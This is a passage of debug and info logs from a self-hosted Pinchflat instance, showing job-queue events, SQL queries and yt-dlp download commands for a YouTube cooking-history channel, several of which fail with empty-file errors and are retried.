/tmp/pinchflat/data/38/7d/387dd8fd4f82c9f1eae1ac7519f4662579672261a35ad8204d1f01a9b0ac6c49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:49:47.793 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.056 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:17.794 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:47.795 [info] {"source":"oban","duration":925,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.057 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:17.797 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:47.799 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.058 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:17.800 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:47.802 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.059 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:17.804 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:47.805 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:58.862 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bb/92/bb9209ff0528c08dff4e45d451447ec5d31eef737c10b7e6bd0b989d3474111f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:53:58.862 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:53:58.863 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":360872830,"event":"job:exception","queue_time":261593076,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:53:58.871 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774943638870990180,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:53:58.871 [debug] QUERY OK source="media_items" db=0.2ms idle=1479.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:53:58.872 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:53:58.872 [debug] QUERY OK source="sources" db=0.2ms idle=1480.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:53:58.873 [debug] QUERY OK source="media_profiles" db=0.4ms idle=514.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:53:58.875 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=10.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:53:58.876 [debug] QUERY OK source="media_metadata" db=0.1ms idle=5.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:53:58.876 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:53:58.877 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:58.877 [debug] QUERY OK source="settings" db=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:58.878 [debug] Running yt-dlp command for action: get_downloadable_status 03:53:58.878 [debug] QUERY OK source="settings" db=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:58.878 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:58.879 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:53:58.879 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/32/cb/32cbf136c630e7841a5b3547b57ec249c821def6bce42bfa1b46e2df1671a471.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:54:00.060 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:04.722 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/32/cb/32cbf136c630e7841a5b3547b57ec249c821def6bce42bfa1b46e2df1671a471.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:54:04.722 [debug] Running yt-dlp command for action: download 03:54:04.723 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1331.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:54:04.723 [debug] QUERY OK source="settings" db=0.2ms idle=352.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:54:04.724 [debug] QUERY OK source="settings" db=0.3ms idle=332.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:54:04.724 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/79/8779108f9a2c6884b2091c4e18db8c4707387aab6883c81a4964b3cfa250b66c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:54:12.834 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/38/7d/387dd8fd4f82c9f1eae1ac7519f4662579672261a35ad8204d1f01a9b0ac6c49.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:54:12.835 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 03:54:12.836 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":294881947,"event":"job:exception","queue_time":969062,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:54:17.807 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:47.809 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.061 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:17.810 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:19.490 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774943719490250700,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:55:19.490 [debug] QUERY OK source="media_items" db=0.1ms idle=98.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:55:19.490 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:55:19.491 [debug] QUERY OK source="sources" db=0.1ms idle=99.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:55:19.491 [debug] QUERY OK source="media_profiles" db=0.1ms idle=99.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:55:19.492 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:55:19.492 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:55:19.492 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:55:19.493 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:19.493 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:19.493 [debug] Running yt-dlp command for action: get_downloadable_status 03:55:19.494 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:19.494 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:19.494 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:19.494 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/ec/deecc5a86c5b6c98abd30bdb2a0d32b4d5151d16f978463bb7d89ca97609425d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:55:23.541 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/de/ec/deecc5a86c5b6c98abd30bdb2a0d32b4d5151d16f978463bb7d89ca97609425d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:55:23.541 [debug] Running yt-dlp command for action: download 03:55:23.541 [debug] QUERY OK source="settings" db=0.1ms idle=149.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:23.541 [debug] QUERY OK source="settings" db=0.1ms idle=150.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:23.542 [debug] QUERY OK source="settings" db=0.1ms idle=150.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:55:23.542 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5b/20/5b209f475a6fad40048ed2a741e4b27d19349f0972556d090a26c4e12d5cd87a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:55:47.812 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.063 [info] {"source":"oban","duration":356,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:17.813 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:47.814 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.063 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:17.815 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:47.817 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.064 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:17.818 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:47.819 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.065 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:17.821 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:47.822 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:50.335 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/87/79/8779108f9a2c6884b2091c4e18db8c4707387aab6883c81a4964b3cfa250b66c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:59:50.335 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:59:50.336 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":351464491,"event":"job:exception","queue_time":194057592,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:59:50.342 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774943990342331895,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:59:50.342 [debug] QUERY OK source="media_items" db=0.2ms idle=949.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:59:50.342 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:59:50.343 [debug] QUERY OK source="sources" db=0.2ms idle=950.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:59:50.343 [debug] QUERY OK source="media_profiles" db=0.2ms idle=464.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 